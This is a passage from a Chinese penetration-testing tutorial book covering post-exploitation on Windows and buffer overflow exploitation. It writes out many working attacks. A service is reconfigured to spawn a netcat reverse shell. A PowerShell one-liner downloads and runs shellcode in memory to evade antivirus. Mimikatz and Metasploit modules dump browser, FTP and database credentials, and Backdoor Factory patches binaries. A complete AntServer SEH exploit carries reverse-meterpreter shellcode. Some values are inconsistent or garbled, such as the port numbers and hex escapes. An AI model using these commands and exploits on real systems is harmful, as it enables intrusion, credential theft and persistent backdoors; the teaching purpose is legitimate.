还有其他方法，比如将我们当前的用户添加到 sudoers 文件中。这完全取决于我们的想象力。

节点跳跃 - 枢纽

一旦我们在网络上的一个系统中，我们现在需要寻找网络上的其他机器。信息收集与我们在前几章中学到的内容是一样的。我们可以开始安装和使用 nmap 来查找其他主机以及正在运行的应用程序或服务。在这个示例中，您将学习一些获取网络中端口访问权限的技巧。

如何做...

假设我们已经可以访问一台机器的 shell。我们运行ipconfig并发现该机器内部连接到其他两个网络：

现在我们扫描网络并发现一些机器有一些端口是开放的。您学习了一种很酷的方法，可以将网络枢纽化，以便我们可以访问我们机器上其他网络后面运行的应用程序。

我们将使用以下命令进行ssh端口转发：

ssh –L <our port> <remote ip> <remote port> username@IP

完成后，我们打开浏览器并转到我们使用的端口号：

我们将访问远程主机上运行的应用程序。

还有更多…

还有其他端口转发的方法；例如，使用 proxychains 将帮助您动态转发运行在不同网络子网内的服务器上的端口。一些技术可以在highon.coffee/blog/ssh-meterpreter-pivoting-techniques/找到。

Windows 特权升级

在这个教程中，您将学习在 Windows Server 上获取管理员帐户的几种方法。有多种方法可以在 Windows 系统上获得管理员权限。让我们看看可以完成这个任务的几种方法。

如何做…

一旦我们在系统上有了 meterpreter，Metasploit 有一个内置模块，可以尝试三种不同的方法来获得管理员访问权限。首先，我们将看到 Metasploit 的臭名昭著的getsystem。要查看帮助，我们输入：

getsystem –h

为了尝试获取管理员权限，我们输入以下命令：

getsystem

我们可以看到我们现在是NT AUTHORITY\SYSTEM。有时，这种技术可能不起作用，所以我们尝试另一种方法来在机器上获取系统。我们将看一些重新配置 Windows 服务的方法。

我们将使用sc（也称为服务配置）来配置 Windows 服务。

让我们看看upnphost服务：

sc qc upnphost

首先，我们将我们的netcat二进制文件上传到系统上。一旦完成，我们可以使用我们的二进制文件更改正在运行的服务的二进制路径：

sc config upnphost binPath= "<path to netcat>\nc.exe -nv <our IP> <our port> -e C:\WINDOWS\System32\cmd.exe"

sc config upnphost obj= ".\LocalSystem" password= ""

我们确认更改是否已经生效：

现在我们需要重新启动服务，一旦完成，我们应该有一个带有管理员权限的后向连接：

net start upnphost

我们可以使用net user add命令来添加一个新的管理员用户到系统中，而不是使用netcat等其他方法。

现在让我们尝试另一种方法：Metasploit 有许多不同的用于 Windows 利用的本地漏洞。要查看它们，我们输入msfconsole使用exploit/windows/local <tab>。

我们将使用kitrap0d进行利用。使用exploit/windows/local/ms10_015_kitrap0d。我们设置我们的 meterpreter 会话和有效载荷：

然后我们运行利用程序：

我们有管理员权限。让我们再使用一个利用程序：臭名昭著的bypassuac：

use exploit/windows/local/bypassuac

我们现在设置我们在系统上拥有的当前 meterpreter 会话：

 set session 1

我们运行并看到第二个具有管理员权限的 meterpreter 已经为我们打开：

使用 PowerSploit

随着 PowerShell 的推出，也出现了新的利用 Windows 机器的方法。正如维基百科所描述的，PowerShell（包括 Windows PowerShell 和 PowerShell Core）是微软的任务自动化和配置管理框架，由基于.NET Framework 的命令行 shell 和相关脚本语言组成。

在这个教程中，我们将使用 PowerSploit，这是一个基于 PowerShell 的后渗透框架，用于在系统上获得 meterpreter 访问权限。

如何做…

以下是使用 PowerSploit 的步骤：

1. 现在假设我们有一个基于 Windows 的环境，在这个环境中我们已经成功获得了 shell 访问权限。我们在系统上没有管理员权限。

2. 让我们看一种很酷的方法，使用 PowerSploit 在不实际下载文件到系统上的情况下获取 meterpreter。它在 Kali 菜单中内置。

1. 这里的技巧是下载一个 PowerShell 脚本并将其加载到内存中，因为它从未保存在硬盘上，所以杀毒软件不会检测到它。

2. 我们首先检查 PowerShell 是否已安装，运行powershell：

1. 我们将使用这个命令。使用单引号很重要；否则，我们可能会得到一个缺少括号的错误：

 powershell IEX (New-Object Net.WebClient).DownloadString
      ('https://raw.githubusercontent.com/PowerShellMafia/
      PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1')

1. 我们不应该看到任何错误。现在我们的脚本已经准备好了，我们调用模块并使用以下命令查看帮助：

 Get-Help Invoke-Shellcode

1. 现在我们运行该模块：

 powershell Invoke-Shellcode -Payload
      windows/meterpreter/reverse_https -Lhost 192.168.110.33
      -Lport 4444 –Force

1. 在运行上述脚本之前，我们启动我们的处理程序。

1. 我们现在应该有一个 meterpreter。

1. 现在我们有了 meterpreter，我们可以使用之前提到的任何方法来获取系统权限。

还有更多...

PowerSploit 有很多可以用于进一步利用的 PowerShell 模块，比如获取权限、绕过杀毒软件等等。

我们可以在这里阅读更多信息：

• github.com/PowerShellMafia/PowerSploit

• null-byte.wonderhowto.com/how-to/hack-like-pro-use-powersploit-part-1-evading-antivirus-software-0165535/

使用 mimikatz 提取纯文本密码

现在我们有了 meterpreter，我们可以使用它从内存中转储密码。Mimikatz 是一个很好的工具。它尝试从内存中转储密码。

正如 mimikatz 的创造者所定义的：

“它是用 C 语言制作的，并被认为是一些与 Windows 安全性的实验”现在已经广为人知，可以从内存中提取纯文本密码、哈希值和 PIN 码以及 kerberos 票证。Mimikatz 还可以执行传递哈希、传递票证或构建 Golden 票证。

如何做…

以下是使用 mimikatz 的步骤：

1. 一旦我们有了 meterpreter 和系统权限，我们使用这个命令加载 mimikatz：

 load mimikatz

1. 要查看所有选项，我们输入这个命令：

 help mimikatz

1. 现在为了从内存中检索密码，我们使用 Metasploit 的内置命令：

 msv

1. 我们可以看到 NTLM 哈希值显示在屏幕上。要查看 Kerberos 凭据，我们输入这个：

 kerberos

如果有任何凭据，它们将在这里显示。

从机器中转储其他保存的密码

您已经学会了如何从内存中转储和保存纯文本密码。然而，有时并非所有密码都被转储。不用担心；Metasploit 有其他后期利用模块，我们可以使用这些模块来收集在我们入侵的服务器上运行的不同应用程序和服务的保存密码。

如何做…

首先，让我们检查一下机器上正在运行的应用程序。我们使用这个命令：

use post/windows/gather/enum_applications

我们看到了选项；现在我们只需要我们的会话，使用以下命令：

set session 1

运行它，我们将看到系统上安装的应用程序列表：

既然我们知道了正在运行的应用程序，让我们试着收集更多信息。

我们将使用post/windows/gather/enum_chrome。

它将收集所有的浏览历史、保存的密码、书签等。再次，我们设置我们的会话并运行这个：

我们将看到所有收集到的数据都已保存在一个 txt 文件中：

现在我们将尝试收集安装在机器上的 FileZilla 服务器（可用于传输文件的 FTP 服务器）的存储配置和凭据。我们将使用该模块：

use post/windows.gather/credentials/filezilla_server

我们设置会话并运行它，然后我们应该看到保存的凭据：

让我们使用另一个后渗透模块来转储数据库密码。我们将使用这个：

use exploit/windows/gather/credentials/mssql_local_hashdump

我们设置会话并使用run -j运行此命令。我们将在屏幕上看到凭据：

进入网络枢纽

一旦我们完全控制了系统中的一台计算机，我们的下一步应该是进入网络并尝试利用和访问尽可能多的机器。在这个示例中，您将学习使用 Metasploit 轻松实现这一点的方法。

如何做...

Metasploit 有一个内置的 meterpreter 脚本，允许我们添加路由并使我们能够使用当前机器攻击网络中的其他机器。这个概念非常简单；我们所要做的就是执行这个命令：

run autoroute –s <IP subnet>

完成后，我们可以简单地利用与我们在之前示例中介绍的相同方法来攻击机器。

持久性的后门

成功利用的一个重要部分是能够保持对受损机器的访问。在这个示例中，您将了解一个称为后门工厂的神奇工具。后门工厂的主要目标是使用我们的 shell 代码修补 Windows/Linux 二进制文件，以便可执行文件正常运行，并在每次执行时执行我们的 shell 代码。

如何做...

Backdoor Factory 已经安装在 Kali 中。可以使用backdoor-factory来运行。要查看此工具的所有功能，我们将使用帮助命令：

backdoor-factory –help

使用这个工具并不太难；但是，建议在部署到目标系统之前对二进制文件进行测试。

要查看要对其进行后门处理的特定二进制文件的可用选项，我们使用以下命令：

backdoor-factory –f <path to binary> -s show

然后我们将使用iat_reverse_tcp_stager_threaded：

backdoor-factory –f <path to binary> -s iat_reverse_tcp_stager_threaded –H <our IP> -P <Port>

接下来，我们选择要用于注入有效载荷的洞穴：

我们的二进制文件已经创建并准备部署。

现在我们需要做的就是运行一个处理程序，它将接受来自我们有效载荷的反向连接：

现在当在受害者机器上执行.exe时，我们将连接到我们的 meterpreter：

第九章：缓冲区溢出

在本章中，我们将涵盖以下内容：

• 利用基于堆栈的缓冲区溢出

• 利用真实软件的缓冲区溢出

• SEH 绕过

• 利用 egg hunters

• ASLR 和 NX 绕过的概述

介绍

在软件程序中，当程序在向缓冲区写入数据时，超出了分配的缓冲区大小，并开始向相邻的内存位置覆盖数据时，就会发生缓冲区溢出。

缓冲区可以被认为是分配给程序的内存中的临时区域，用于在需要时存储和检索数据。

长期以来已知缓冲区溢出已被利用。

在利用缓冲区溢出时，我们的主要关注点是覆盖一些控制信息，以便程序的控制流发生变化，这将允许我们的代码控制程序。

这是一个图表，将给我们一个关于缓冲区溢出发生的基本概念：

从前面的图表中，我们可以假设这就是一个程序的样子。因为它是一个堆栈，它从底部开始，向堆栈的顶部移动。

从前面的图表中，我们还注意到程序有一个固定的缓冲区来存储 16 个字母/字节的数据。

我们首先输入 8 个字符（1 个字符=1 个字节）；在图表的右侧，我们可以看到它们已经被写入程序内存的缓冲区中。

让我们看看当我们向程序写入 20 个字符时会发生什么：

来源：http://www.cbi.umn.edu/

我们可以看到数据被正确地写入了 16 个字符，但最后的 4 个字符现在已经超出了缓冲区，并覆盖了程序的返回地址中存储的值。这就是经典的缓冲区溢出发生的地方。

让我们看一个实际例子；我们将使用一个示例代码：

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
int main(int argc, char *argv[]) 
{ 
    char buffer[5]; 
    if (argc < 2) 
        { 
            printf("strcpy() NOT executed....\n"); 
            printf("Syntax: %s <characters>\n", argv[0]); 
            exit(0); 
        } 
    strcpy(buffer, argv[1]); 
    printf("buffer content= %s\n", buffer); 

    // you may want to try strcpy_s() 
    printf("strcpy() executed...\n"); 
    return 0; 
} 

前面的程序简单地在运行时接受一个输入，并将其复制到一个名为buffer的变量中。我们可以看到变量缓冲区的大小设置为5。

现在我们使用这个命令进行编译：

gcc program.c -o program

我们需要小心，因为gcc默认具有内置的安全功能，可以防止缓冲区溢出。

我们使用这个命令运行程序：

./program 1234  

我们看到它已经存储了数据，我们得到了输出。

现在让我们运行这个：

./program 12345   

我们会看到程序以分段错误退出。这是gcc的启用安全功能。

我们将在下一节中更多地了解返回地址。然而，用我们自己的代码覆盖返回地址可以导致程序的行为与通常执行不同，并帮助我们利用这个漏洞。

模糊测试是发现程序中缓冲区溢出最简单的方法。Kali 中有各种模糊测试工具，或者我们可以根据程序类型编写自定义脚本。

一旦模糊测试完成并发生崩溃，我们的下一步是调试程序，找到程序崩溃的确切部分以及如何利用它来获利。

在线也有多个调试器可用。我个人在 Windows 上最喜欢的是 Immunity Debugger（Immunity Inc.）。Kali 也带有一个内置的调试器 GDB。这是一个命令行调试器。

在我们进一步探讨更激动人心的话题之前，请注意通常在程序中会发生两种类型的溢出。

主要有两种类型的缓冲区溢出：

• 基于堆栈的溢出

• 基于堆栈的溢出

我们将在本章的后面更详细地涵盖这些内容。现在，让我们澄清一些基础知识，这将帮助我们利用溢出漏洞。

利用基于堆栈的缓冲区溢出

现在我们的基础知识已经清楚，让我们继续学习基于堆栈的缓冲区溢出的利用。

如何做...

以下步骤演示了基于堆栈的缓冲区溢出：

1. 让我们看另一个简单的 C 程序：

        #include<stdio.h> 
        #include<string.h> 
        void main(int argc, char *argv[]) 
        { 
            char buf[120]; 
            strcpy(buf, argv[1]); 
            printf(buf); 
        }  

这个程序使用了一个有漏洞的方法strcyp()。我们将程序保存到一个文件中。

1. 然后我们使用gcc编译程序，使用fno-stack-protector和execstack：

 gcc -ggdb name.c -o name -fno-stack-protector -z execstack

1. 接下来，我们关闭地址空间随机化：

 echo 0 > /proc/sys/kernel/randomize_va_space

1. 现在我们使用以下命令在gdb中打开我们的程序：

 gdb ./name

以下截图显示了上述命令的输出：

1. 接下来，我们使用 Python 使用以下命令输入我们的输入：

 r $(python -c 'print "A"*124')

以下截图显示了上述命令的输出：

1. 我们可以看到程序崩溃并显示错误0x41414141。这意味着我们输入的字符A覆盖了 EIP。

2. 我们通过输入i r来确认：

1. 这告诉我们 EIP 寄存器的值已经成功被覆盖。

2. 接下来，我们找到覆盖 EIP 的确切字节。我们可以通过在程序中输入不同的字符，然后检查哪个字符覆盖了 EIP 来做到这一点。

3. 因此，我们再次运行程序，这次使用不同的字符：

 r $(python -c 'print "A"*90+"B"*9+"C"*25')

以下截图显示了上述命令的输出：

1. 这一次，我们看到 EIP 的值是CCCC。这意味着我们需要的字节在我们提供的最后 25 个字符中的某个位置。

2. 类似地，我们尝试不同组合的 124 个字符，直到找到确切覆盖 EIP 的 4 个字符的位置：

1. 现在，既然我们已经找到了 EIP 的确切位置，并且为了执行成功的利用，我们需要用我们将存储 shellcode 的内存地址覆盖这 4 个字节。我们的内存中有大约 100 个字节，其中当前存储着A，这对我们的 shellcode 来说已经足够了。因此，我们需要在调试器中添加断点，在跳转到下一条指令之前停下来。

2. 我们使用list 8命令列出程序：

1. 然后我们在调用函数的行和调用后使用b <linenumber>添加我们的断点。

2. 现在我们再次运行程序，它将在断点处停止：

1. 我们按下c以继续。

2. 现在让我们看一下esp（堆栈指针）寄存器：

 x/16x $esp

以下截图显示了上述命令的输出：

1. 这将向我们展示esp寄存器之后的 16 个字节，在左侧列中，我们将看到与存储的数据对应的内存地址。

2. 在这里，我们看到数据从地址0xbffff190开始。我们注意到下一个内存地址0xbfff1a0。这是我们将用来写入 EIP 的地址。当程序覆盖 EIP 时，它将使其跳转到这个地址，我们的 shellcode 将存储在这里：

1. 让我们尝试通过利用溢出来打开一个 shell。我们可以在 Google 上找到将为我们执行 shell 的 shellcode：

1. 我们有 100 个字节，我们的 shellcode 是 24 个字节。我们可以在我们的利用中使用这个。

2. 现在我们简单地用90 no op 汇编指令（0x90）替换A，并用 shellcode 替换其余的 24 个字节，然后用我们希望 EIP 指向的内存地址替换B，用 no op 代码替换C。这应该看起来像这样：

 "\x90"*76+"\x6a\x0bx58x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\
        x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"
        +"\xa0\xff\xf1\xbf"+"\x90"*20

1. 让我们重新运行程序并将其作为输入：

 r $(python -c print' "\x90"*76+"\x6a\x0bx58x31\xf6\x56\x68\
        x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\
        xcd\x80"+"\xa0\xff\xf1\xbf"+"\x90"*20')

1. 我们输入c以从断点继续，一旦执行完成，我们的 shell 就会被执行。

利用真实软件的缓冲区溢出

您之前已经学习了利用的基础知识。现在让我们尝试在一些早已被利用并且有公开利用的软件上进行尝试。在这个示例中，您将了解旧软件的公开利用以及为其创建自己版本的利用。

在开始之前，我们需要一个旧版本的 Windows 操作系统（最好是 Windows XP）和一个 Windows 调试器。我使用了 Immunity Debugger 和一个已知的缓冲区溢出漏洞的旧软件。我们将使用Easy RM to MP3 Converter。这个版本在播放大型 M3U 文件时存在缓冲区溢出漏洞。

准备工作

Immunity Debugger 的免费版本可以在www.immunityinc.com/products/debugger/上下载。

如何做...

按照给定的步骤来学习：

1. 接下来，我们下载并在机器上安装我们的 MP3 转换器。

2. 这个转换器在播放 M3U 文件时存在漏洞。当使用它打开一个大文件进行转换时，软件会崩溃。

3. 让我们创建一个文件，里面写入大约 30,000 个A，并将其保存为<filename>.m3u：

1. 然后，我们将文件拖放到播放器中，我们会看到它崩溃了：

1. 现在我们需要找到导致崩溃的确切字节数。

2. 在文件中手动输入这么多A将会花费很长时间，所以我们写一个简单的 Python 程序来代替我们做这件事：

        import io
        a="A"*30000
        file =open("crash.m3u","w")
        file.write(a)
        file.close()

1. 现在我们玩弄字节，找到崩溃的确切值。

2. 在我们的情况下，由于程序在 26,104 字节处没有崩溃，所以它的长度是 26,105：

1. 现在，我们运行我们的调试器，并通过导航到 File | Attach 将正在运行的转换程序附加到它：

1. 然后，我们从正在运行的程序列表中选择进程名称：

1. 一旦附加成功，我们就在程序中打开我们的 M3U 文件。我们将在调试器的状态栏中看到一个警告。我们只需按下F9键或点击顶部菜单栏上的播放按钮继续：

1. 我们会看到 EIP 被A覆盖，并且程序崩溃了：

1. 现在我们需要找到导致崩溃的确切 4 个字节。我们将使用 Kali 中称为pattern create的脚本。它会为我们想要的字节数生成一个唯一的模式。

2. 我们可以使用 locate 命令找到脚本的路径：

 locate pattern_create

以下截图显示了前面命令的输出：

1. 现在我们知道了路径，我们运行脚本并传递字节数：

 ruby /path/to/script/pattern_create.rb 5000

1. 我们使用 5,000 是因为我们已经知道它不会在 25,000 处崩溃，所以我们只为接下来的 5,000 字节创建一个模式。

2. 我们有了我们的唯一模式。我们现在将其粘贴到我们的 M3U 文件中，再加上 25,000 个A。

3. 我们打开我们的应用程序，并将进程附加到我们的调试器上：

1. 然后我们将我们的 M3U 文件拖放到程序中。

2. 它崩溃了，我们的 EIP 被 42386b42 覆盖了。

3. Metasploit 有另一个很棒的脚本来找到偏移的位置：

 ruby /path/to/script/pattern_offset.rb 5000

1. 现在我们在1104处找到了偏移匹配；将其加到 25,000 个A上，我们现在知道 EIP 在 26,104 字节后被覆盖：

1. 接下来，我们需要找到一个可靠的方法来跳转到 shellcode。我们通过在 EIP 之后简单地写入额外的随机字符到堆栈中，确保我们写入的 shellcode 将被正确地写入内存。

2. 我们运行程序，将其附加到调试器，并让它崩溃。

3. 我们将看到 EIP 已经成功被覆盖。在右下角的窗口中，我们右键单击并选择 Go to ESP：

1. 在这里，我们注意到 ESP 实际上是从第 5 个字节开始的。为了确保我们的 shellcode 能够正确执行，我们现在需要确保 shellcode 在 4 个字节之后开始。我们可以插入四个 NOP 来修复这个问题：

1. 由于我们控制了 EIP，有多种方法可以执行我们的 shellcode，我们将在这里介绍其中两种。第一种方法很简单：我们在代码中找到jmp esp指令并用它覆盖地址。要做到这一点，我们右键单击并导航到搜索 | 所有模块中的所有命令：

1. 我们输入jmp esp指令：

1. 在结果框中，我们看到我们的指令，并复制地址用于我们的利用。

1. 现在让我们编写一个利用。基本概念将是垃圾字节 + 跳转 ESP 的地址 + NOP 字节 + Shellcode：

1. 我们可以生成计算器的 shellcode：

 msfvenom windows/exec CMD=calc.exe R | msfencode -b
        '\x00\x0A\x0D' -t c

1. 现在我们运行利用，当程序崩溃时，我们应该看到计算器打开！

1. 让我们尝试另一种方法；假设没有jmp esps 可供我们使用。在这种情况下，我们可以使用push esp，然后使用ret指令，它将将指针移动到堆栈的顶部，然后调用esp。

2. 我们遵循相同的步骤直到步骤 25。然后，我们右键单击并转到搜索 | 所有模块中的所有序列。

3. 在这里，我们输入push esp ret：

1. 在结果中，我们看到地址中有序列：018F1D88。

2. 现在我们只需用我们的利用代码中的 EIP 地址替换它并运行利用，我们应该打开一个计算器：

SEH 绕过

在开始之前，我们需要了解 SEH 是什么。SEH代表结构化异常处理。我们可能经常看到程序弹出一个错误，说软件遇到问题需要关闭。这基本上意味着 Windows 的默认异常处理程序开始起作用。

SEH 处理程序可以被认为是在程序中出现异常时按顺序执行的try和catch语句块。这是典型的 SEH 链的样子：

https://www.corelan.be/wp-content/uploads/2009/07/image_thumb45.png

当发生异常时，SEH 链会出手处理异常，根据其类型处理异常。

因此，当发生非法指令时，应用程序有机会处理异常。如果应用程序中没有定义异常处理程序，我们将看到 Windows 显示的错误：类似于发送报告给 Microsoft。

要成功利用具有 SEH 处理程序的程序，我们首先尝试用我们的缓冲区填充堆栈，然后尝试覆盖存储第一个 SEH 记录链的内存地址。然而，这还不够；我们还需要生成一个错误，这将实际触发 SEH 处理程序，然后我们将能够完全控制程序的执行流程。一个简单的方法是一直填充堆栈，直到底部，这将创建一个需要处理的异常，而且由于我们已经控制了第一个 SEH 记录，我们将能够利用它。

如何做到...

在这个教程中，您将学习如何做到这一点：

1. 让我们下载一个名为 AntServer 的程序。它有很多公开的漏洞利用可用，我们将尝试为其构建我们自己的利用。

2. 我们将其安装在我们在上一个教程中使用的 Windows XP SP2 机器上。

3. AntServer 存在一个漏洞，可以通过向运行在端口6600上的 AntServer 发送一个长的 USV 请求来触发：

1. 让我们通过打开软件并导航到服务器 | 运行服务控制...来运行 AntServer：

1. 现在让我们编写一个简单的 Python 脚本，将一个大请求发送到端口6600的服务器：

        #!/usr/bin/pythonimport socket
        import socket
        address="192.168.110.6"
        port=6660    
        buffer = "USV " + "\x41" * 2500 + "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((address, port))
        sock.send(buffer)
        sock.close()

1. 回到 Windows 机器，让我们启动 Immunity Debugger 并将进程AntServer.exe附加到它上。然后，点击Run。

2. 一旦程序运行，我们从 Kali 运行我们的 Python 脚本，在我们的调试器中，我们会看到一个违规错误。然而，我们的 EIP 还没有被覆盖：

1. 在调试器的文件菜单中，我们转到查看| SEH 链。在这里，我们会看到地址已被AAAA覆盖。现在我们按Shift+ F9将一个异常传递给程序。我们会看到 EIP 已经被覆盖，并且我们会收到一个错误：

1. 我们还会注意到其他寄存器的值现在已经变为零。这种寄存器清零是在 Windows XP SP1 及以后引入的，以使 SEH 利用变得更加困难。

2. 我们正在使用 Windows XP SP2。它有一个名为SAFESEH的功能。当这个选项在模块中启用时，只有注册的 SEH 处理程序列表中列出的内存地址才能被使用，这意味着如果我们使用任何不在列表上的地址，来自使用/SAFESEH ON编译的模块，SEH 地址将不会被 Windows 异常处理程序使用，SEH 覆盖将失败。

3. 有几种方法可以绕过这个问题，这是其中一种：使用一个没有使用/SAFESEH ON或IMAGE_DLLCHARACTERISTICS_NO_SEH选项编译的模块的覆盖地址。

4. 为了找到这个，我们将使用一个名为mona的 Immunity Debugger 插件。它可以从github.com/corelan/mona下载：

1. 我们只需将 Python 文件复制到 Immunity 应用程序的PyCommands文件夹中。

2. 让我们继续制作利用程序。我们已经看到 EIP 已经被覆盖。现在我们将尝试使用 Kali Linux 中的模式创建脚本找到崩溃发生的确切字节：

 ruby /path/to/script/pattern_create.rb -l 2500

以下截图显示了前面命令的输出：

1. 代码应该是这样的：

1. 现在我们运行这个文件，在 Immunity Debugger 中，我们会看到访问违规错误。现在我们去查看| SEH 链。

2. 我们会看到我们的 SEH 已经被覆盖了。我们复制42326742的值，并使用 Kali 中的pattern_offset脚本找到它的位置：

 ruby /path/to/script/pattern_offset.rb -q 423267412

以下截图显示了前面命令的输出：

1. 我们会看到偏移量为966字节，处理程序被覆盖的位置。

2. 现在让我们稍微修改我们的利用程序，看看会发生什么。我们有966字节；我们将使用962字节的 A 和 4 字节的断点，再用 4 个 B，剩下的字节用 C 来看看会发生什么：

        #!/usr/bin/python
        import socket address="192.168.110.12"
        port=6660 buffer = "USV "
        buffer+= "A" * 962
        buffer+= "\xcc\xcc\xcc\xcc"
        buffer+= "BBBB"
        buffer+= "C" * (2504 - len(buffer))
        buffer+= "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((target_address,target_port)) 
        sock.send(buffer)
        sock.close()

1. 我们运行这个并查看 SEH 链。在这里，我们会注意到一个有趣的事情：我们添加的前 4 个断点实际上已经覆盖了一个内存地址，接下来的 4 个已经被覆盖到我们的 SEH 处理程序中：

这是因为 SEH 是一个指针，指向发生异常时代码存储的内存地址。

1. 让我们将异常传递给程序，我们会看到 EIP 已经被覆盖，但当我们查看内存时，我们会看到我们的 Cs 在内存中的 Bs 之后大约写入了 6 个字节。我们可以使用POP RET后跟一个短的JUMP代码来跳转到我们的 shellcode。

2. 我们在调试器的控制台中输入!safeseh命令：

1. 这将显示所有未使用SAFESEH/ON编译的 DLL 的列表。在日志窗口中，我们将看到函数的列表：

1. 让我们使用一个名为vbajet32.dll的 DLL。我们的目标是在 DLL 中找到一个POP POP RET序列，我们可以用它来绕过 SEH。

2. 我们在 Windows 机器上找到我们的 DLL 并将其复制到 Kali。Kali 还有另一个很棒的工具，称为msfpescan，可以用来在 DLL 中查找POP POP RET序列：

 /path/to/msfpescan -f vbajet32.dll -s

以下屏幕截图显示了前面命令的输出：

1. 在这里，我们有所有.dll中POP POP RET序列的地址。我们将使用第一个0x0f9a1f0b。我们还需要一个短的JUMP代码，它将导致跳转到我们的 shellcode 或存储在内存中的 Cs。

2. 短JUMP是\xeb\x06，其中06是我们需要跳转的字节数。我们仍然缺少 4 字节地址空间的 2 个字节，我们可以使用 2 个 NOPs。

3. 让我们创建一个 shellcode；因为我们将通过 HTTP 发送这个 shellcode，所以我们需要确保避免坏字符。我们将使用 msfvenom：

 msfvenom -p windows/meterpreter/reverse_tcp -f py
        -b "\x00\xff\x20\x25\x0a\x-d" -v buffer

以下屏幕截图显示了前面命令的输出：

1. 我们将把所有东西放在利用中，如下所示：

        #!/usr/bin/python
        import socket
        target_address="192.168.110.12"
        target_port=6660
        buffer = "USV "
        buffer += "\x41" * 962 #offset
        # 6 Bytes SHORT jump to shellcode
        buffer += "\xeb\x06\x90\x90"
        # POP+POP+RET 0x0f9a196a
        buffer += "\x6a\x19\x9a\x0f"
        buffer += "\x90" * 16
        #Shellcode Reverse meterpreter.
        buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
        buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
        buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72"
        buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
        buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
        buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
        buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
        buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
        buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
        buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
        buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
        buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
        buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1"
        buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
        buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
        buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
        buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
        buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
        buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
        buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
        buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
        buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
        buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
        buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
        buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
        buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
        buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
        buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
        buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
        buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
        # NOP SLED
        buffer += "\x90" * (2504 - len(buffer))
        buffer += "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((target_address,target_port))
        sock.send(buffer)
        print "Sent!!"
        sock.close()

以下屏幕截图显示了前面命令的输出：

1. 这次我们不使用调试器运行。我们将在 Kali 中打开我们的处理程序，然后我们应该有 meterpreter 访问：

另请参阅

• www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

• resources.infosecinstitute.com/bypassing-seh-protection-a-real-life-example/

利用蛋猎手

当内存中没有足够的空间连续放置我们的 shellcode 时，就会使用蛋猎手。使用这种技术，我们在我们的 shellcode 前面加上一个唯一的标签，然后蛋猎手基本上会在内存中搜索该标签并执行 shellcode。

蛋猎手包含一组编程指令；它与 shellcode 并没有太大的不同。有多种蛋猎手可用。您可以通过 skape 的这篇论文了解更多关于它们以及它们如何工作的信息：www.hick.org/code/skape/papers/egghunt-shellcode.pdf。

准备工作

我们将尝试使用一个蛋猎手为我们在上一个教程中使用的相同软件制作一个漏洞利用。利用的逻辑将类似于以下图表所示的内容：

我们的目标是覆盖nSEH，然后SEH，以便它跳转到蛋猎手 shellcode，当执行时，将在内存中找到并执行我们的 shellcode。

如何做...

以下是演示使用蛋猎手的步骤：

1. 我们在 Windows XP 上启动软件并将其附加到调试器：

1. 我们已经知道了崩溃字节和绕过 SAFESEH 的地址。

2. 现在我们需要添加我们的蛋猎手，然后使用它来跳转到我们的 shellcode。

3. 正如我们所知，蛋猎手是一种 shellcode，使用 shellcode 的基本规则是确保它没有任何坏字符。

4. 让我们看看我们之前制作的漏洞利用：

        #!/usr/bin/python
        import socket
        target_address="192.168.110.12"
